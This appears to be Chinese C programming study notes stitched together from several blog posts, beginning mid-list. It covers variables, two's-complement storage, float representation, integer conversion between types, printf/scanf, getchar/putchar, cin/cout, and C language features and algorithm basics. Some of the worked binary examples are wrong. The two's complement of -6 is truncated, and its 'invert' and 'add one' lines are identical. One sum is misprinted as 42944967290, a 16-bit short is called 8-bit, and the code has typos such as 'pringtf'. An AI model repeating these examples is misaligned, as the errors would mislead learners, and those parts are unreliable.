2.变量名：必须符合C语言标识符的规定，且不能是C语言的关键字

3.变量内存单元：用来保存变量数据的存储空间，这个存储空间会有一个地址（编号）

4.变量的值：内存单元里放的内容

四、变量可代表的意思

1.代表变量的值：右值----->pringtf("%d\n",a);

2.代表变量的内存单元：左值----->变量的地址

五、整数存储方式

整数在计算机内以二进制补码存储

原码即数据转化为二进制

6: 0000 0000 0000 0000 0000 0000 0000 0110

补码：

正数补码是原码

负数补码是它的绝对值的原码取反加一

-6：1111 1111 1111 1111 1111 1111 1001--->取反

       1111 1111 1111 1111 1111 1111 1001--->加一

4294967290：

和-6补码一样

printf("%d\n", -6);

printf("%u\n", -6);

六、Int 有符号整形

最高bit位是符号

其它bit位是数据

总结：42944967290 + 6 = 4294967296=2^32

七、浮点数存储方法

 符号位 指数位 科学计数小数部分

  以12.5进行分析

1.转换成二进制是什么

1100.1

1 * 2^-1 = 1/2 = 0.5

2.变为科学计数(方法和十进制一样)

1.1001 * 2^3

 八、整数之间赋值问题

int a = -6;

//sizeof(a) <=> sizeof(int0 = 4

short int b = 100;

short int c = 200;

b = c;//相同类型数据进行赋值

类型相互兼容两个数据相互赋值

b = a; 长给短赋值 a会多一部分

a = b; 短给长赋值 空余一部分

(1)长给短赋值

低位直接拷贝copy ，高位 直接扔了

int a =123888;32位 //0...0 0001 1110 0011 1111 0000

short b = a; 8位 //1110 0011 1111 0000

hd 有符号短整型

hu 无符号短整型

printf("%hd\n",b); //-7184 0001 1100 0001 0000

printf("%hu\n",b); //58352

练习：

int a = 360; // 0001 0110 1000

char c = a; // 0110 1000 --> 104

printf("%c",c); // -->'h'

溢出：

char c = 358; //0001 0110 0110

c 只有一个字节 8 bit 超出的bit位 直接舍弃

c // 0110 0110 --> 'f'

(2)短给长赋值

分情况讨论

对于短数据是有符号，长数据高位全部补符号位（短数据）

short a = 12;

int b = -4;

b = a; //补 a 的符号位

对于短数据是无符号，长数据高位全部补0

------------------------------------------

int a = -6;

short b = -100;

sizeof(b) = 2

//-100(原码):1000 0000 0110 0100

//100(原码) :0000 0000 0110 0100

//取反:1111 1111 1001 1011

//加1:1111 1111 1001 1100

a=b;

//短给长，有符号，前面补符号位。

//a:1....1 1111 1111 1001 1100

printf("%d\n",a);-100

//打印原码对应的值 负数补码-1取反(最高bit位不变)

//10...0 0110 0100 -100

printf("%u\n",a);

//a(补) = 1...1 1111 1111 1001 1100

//2^32-100 = 4294967196

-------------------------------------

int a = -6;

unsigned short b = -100;

//-100(原码)1000 0000 0110 0100

//100(原码)0000 0000 0110 0100

//取反：1111 1111 1001 1011

//+1： 1111 1111 1001 1100 (-100的补码)

a = b; // a(补) = 0...0(无符号前面补0) 1111 1111 1001 1100

printf("%d\n",a); // a(原) = 0...0 1111 1111 1001 1100

printf("%u\n",a); // a(原) = 0...0 1111 1111 1001 1100

练习

printf("%d\n",-1);

// 默认 int

// -1(原) 1...0 0001

// 取反 1...1 1110

// 加1 1....1 1111

//打印原码对应的值 负数补码-1取反(最高bit位不变)

// 有符号整型打印 -1

printf("%u\n",-1);

// 默认 int

// 1111...1111

// 无符号整型打印 2^32 - 1

printf("%d\n",-1u);

// -1(补) 1111...1111

// -1u(无符号-补) 1111...1111

// 有符号整型打印 -1

printf("%u\n",-1u);

// -1(补) 1111...1111

// -1u(无-补) 1111...1111

// 无符号整型打印 2^32 - 1

printf("%d\n",(char)-1);// (char)-1 1111 1111

// -1(补) 1111...1111

// (char)-1(补) 1111 1111

// 有符号打印，短->长 8bit->32bit 补符号位

// 1111...1111

// 有符号整型打印-1

printf("%u\n",(char)-1);

// (char)-1(补) 1111 1111

// 8bit --> 32bit 有符号

// 1111...1111

// 无符号整型打印 2^32 - 1

printf("%d\n",(unsigned char)-1);

// -1(补) 1111...1111

// (unsigned char)-1 1111 1111

// 有符号整型打印 短变长 无符号型加0 0000...0000 1111 1111 ---> 255

printf("%u\n",(unsigned char)-1);

// -1(补) 1111...1111

// (unsigned char)-1 1111 1111

// 无符号整型打印 短变长 无符号型加0 0000...0000 1111 1111 ---> 255

printf("%d\n",(char)255);

// 255(补) 000...000 1111 1111

// (char)255(补) 1111 1111

// 短变长 11...11 1111 1111

//有符号整型打印-1 打印原码对应的值 负数补码-1取反(最高bit位不变)

printf("%u\n",(char)255);

// 255(补) 000...000 1111 1111

// (char)255(补) 1111 1111

// 短变长 11...11 1111 1111

// 无符号整型打印 2^32 - 1

printf("%d\n",(unsigned char)255);

// 255(补) 000...000 1111 1111

// (unsigned char)255(补) 1111 1111

// 短变长 无符号型加0 0000...0000 1111 1111 ---> 255

// 有符号整型打印255

本篇文章是对学习C语言程序设计的基础，以及容易难理解，和一些控制语句的同学进行详细的分析介绍，需要的朋友点个赞再走哦，绝不做白嫖党！

一、数据的输入与输出

1、格式化输入输出（printf函数,scanf函数）

printf函数<格式化输出函数>，它是向输出设备是（显示器）输出一定的数据。

其格式为printf(格式串,输出项列表);

scanf函数<格式化输入函数>，它是能够根据指定格式由输入设备（键盘）进行数据的输入。

其格式为scanf(格式串,输入项列表);

常用格式说明符如下：

%d——用来输出十进制整数；
%f——用来输出实数（包括单，双精度），以小数形式输出，默认情况下保留小数点6位；
%c——用来输出一个字符；
%s——用来输出一个字符串

2、字符输入输出函数（putchar函数,getchar函数）

putchar函数<字符输出函数>，它是向终端（显示器）输出非指定格式的单个字符。

其格式putchar(输出项);

getchar函数<字符输入函数>，它是从终端（键盘）输入单个字符。

其格式为 变量名=getchar()

以上两个是在C中，拓展一下：在c语言中，因为在输入数据的同时还要说明数据的类型,如果输入数据较多,那就很麻烦了,所以我们的C++搞了两个更爽的东西cout和cin,来替换它们.首先我们先了解一下这两个东西的来处,它们是来自C++的一个类库叫 " iostream".
iostream是由istream(输入类)和ostream(输出类)派生.

所以在iostream中就有了输入和输出的相关对象:

3、cin,输入方法有，cin>> 表示标准输入(standard input)的istream类对象.cin使我们可以从设备读取数据. 
4、cout,输入方法有，cout<<表示标准输出(standard output)的ostream类对象.cout使我们可以向设备输出或者写数据.

 以上就是本章的全部内容，下一篇即将是选择控制语句篇，如果感觉有帮助，点个赞再走吧         ！—！—！—！

      在进行阐述之前，我们必须得先明白一个问题，就是C语言是什么。它是一门高级语言，这使得我们不必再用数字码表示指令，使得我们的指令可以更好的体现我们的想法，然后也不需要去考虑机器它怎么执行我们的代码的，我们要做的，仅仅是让计算机得出我们想要的结果。然后，它是一门面向过程的语言，也就是说它是分析出解决问题所需要的步骤，然后用函数把这些步骤一步一步实现，使用的时候一个一个依次调用。

      我们使用C语言，那么它有那些特点呢？它具有：

1、语言简洁、紧凑、使用方便、灵活

2、运算符丰富

3、数据类型丰富

4、具有结构化控制语句

5、语法限制不太严格，程序设计自由度大

6、C语言允许直接访问物理地址，能进行位操作，能实现汇编语言的大部分功能，可以直接对硬件操作

7、可移植性好

8、生成目标代码质量高，程序执行效率高等.

     上面说明了C语言的八个特性。我们对其进行相应的阐述，

较之于之前的语言，其的可读性有了较大的提升，对于运算符方面，可以直接参考这个网站中说明的，也就是说包含了算术运算符、关系运算符、逻辑运算符、位运算符、赋值运算符、杂项运算符。这里不再赘述：

C 运算符 | 菜鸟教程 (runoob.com)

其中需要进行说明的是位运算符中的取反运算、左移、右移。取反运算是说我们输入一个数字，将它的二进制进行取反，也就是1变成0.

数据类型丰富，

它目前拥有的数据类型可以概括为：基本类型、枚举类型、空类型、派生类型。其中的基本类型就是我们常用的整数类型和浮点类型，派生类型有指针类型、数组类型、结构体类型、共用体类型以及函数类型。

整数类型：包含了int,long,short,char.。浮点数类型：float,double

枚举类型：枚举类型比较特别，它是声明符号名称来表示整形常量。例如我们常用的一周，将周一设为0，周二设为1这样。例子如下：

#include<stdio.h>
int main(void)
{
	enum week{monday,tuesday,wednesday,thirsday,friday,saturday,sunday
	};
	int day;
	for(day=monday;day<=sunday;day++)
	{
		printf("%d\n", day);
	}
	return 0;
}	

空类型：这个用的比较少

指针类型：这个可以参照我的另外一篇博客：

https://www.cnblogs.com/TomHard/p/15921041.html

数组类型：这个可以参照我另外一篇博客：

https://www.cnblogs.com/TomHard/p/16049387.html

结构体类型：这个可以参照我另外一篇博客：

https://www.cnblogs.com/TomHard/p/16049482.html

共用体类型：这个可以参照我另外一篇博客：

https://www.cnblogs.com/TomHard/p/16054300.html

函数类型：这个可以参照下面的链接：

https://www.runoob.com/cprogramming/c-functions.html

具有结构化控制语句：具体可以参考我的一篇博客

https://www.cnblogs.com/TomHard/p/16042397.html

说到结构化控制语句，我们首先得知道C语言有五种常用的语句，包括了：

1、表达式语句，就像12；c=12;这样的语句

2、流程控制语句

（包括结构化语句和非结构化语句）

结构化语句包括条件语句和循环语句

非结构化语句包括限定向语句和非限定转向语句

3、函数调用语句

4、空语句

5、复合语句

对文件的处理：具体参照这个链接里面的讲述：

https://www.runoob.com/cprogramming/c-file-io.html

     C语言中使用的两种注释方法：

1、//

2、/* */

C语言程序的结构特点：

1、一个程序包含一个或多个源程序文件组成。

     一个源程序文件可以包含3个部分：预处理指令（比方说#include<stdlib.h>、全局声明、函数定义

2、函数是C程序的主要组成成分。

    如果我们敲代码多的话，我们会发现一个有意思的现象，就是一个程序中一般都包含着一个main函数，如果这个函数存在的话，那么这个函数就是程序的主要部分（是说程序从这开始调用其他函数，进行程序运行）。注意，我说的是一般，有的时候，如果这个项目很大，会存在源文件中没有main函数地方情况，这个需要注意。

3、一个函数包含两个部分

     函数是完成特定任务的独立程序代码单元。它包含两个部分，函数头和函数体，函数体由声明部分和执行语句组成

4、程序总是从main函数开始执行，从main函数结束

5、程序中对计算机的操作都是由函数中的C语句完成的

6、在每个数据声明和语句最后必须有一个分号

7、程序中应该包含注释

      我们现在知道C语言程序的特点了，那么我们需要知道一个问题，就是程序是什么？程序=数据结构+算法+程序设计方法+语言工具和环境。

看到这句话我们可能就懵掉了，数据结构是什么？算法又是什么？数据结构是说在程序中需要指定数据的类型和数据的组织形式。算法是说操作步骤，计算机算法可以分为数值运算算法（求解数值）和非数值运算算法（事务管理领域）。

算法的特性：

1、有穷性：一个算法应包含有限的操作步骤而不是无限的。

2、确定性：算法中每一个操作步骤应当是确定的，而不能是模糊的。

3、由零个或多个输入

4、有一个或斗个输出

5、有效性：算法中每一个步骤应该能够有效地执行，并得到确定的结果

如何表示一个算法？主要表示方法为：伪代码和流程图。其中伪代码是指我们可以通过使用一种介于自然语言和计算机语言之间的文字符号来描述算法，伪代码在编译原理中常常使用来进行表示系统中代码之间的逻辑。流程图实际上就是由几个图像进行算法的描述。包括的图像有起止框、输入输出框、判断框、处理框、流程线、连接点这些。可以参考这篇文章里面的讲述

http://c.biancheng.net/cpp/html/1722.html

C语言的三种基本结构为顺序结构、选择结构、循环结构。这三种基本结构的特点为只有一个入口，只有一个出口，结构内的每一部分都可以被执行，结构内不存在“死循环”。当然了，还有一种绘制流程图的方法，就是用N-S流程图表示算法，可以参考这篇文章：

http://c.biancheng.net/cpp/html/1723.html

 结构化程序设计方法：自顶向下，逐步细化，模块话设计，结构化编码。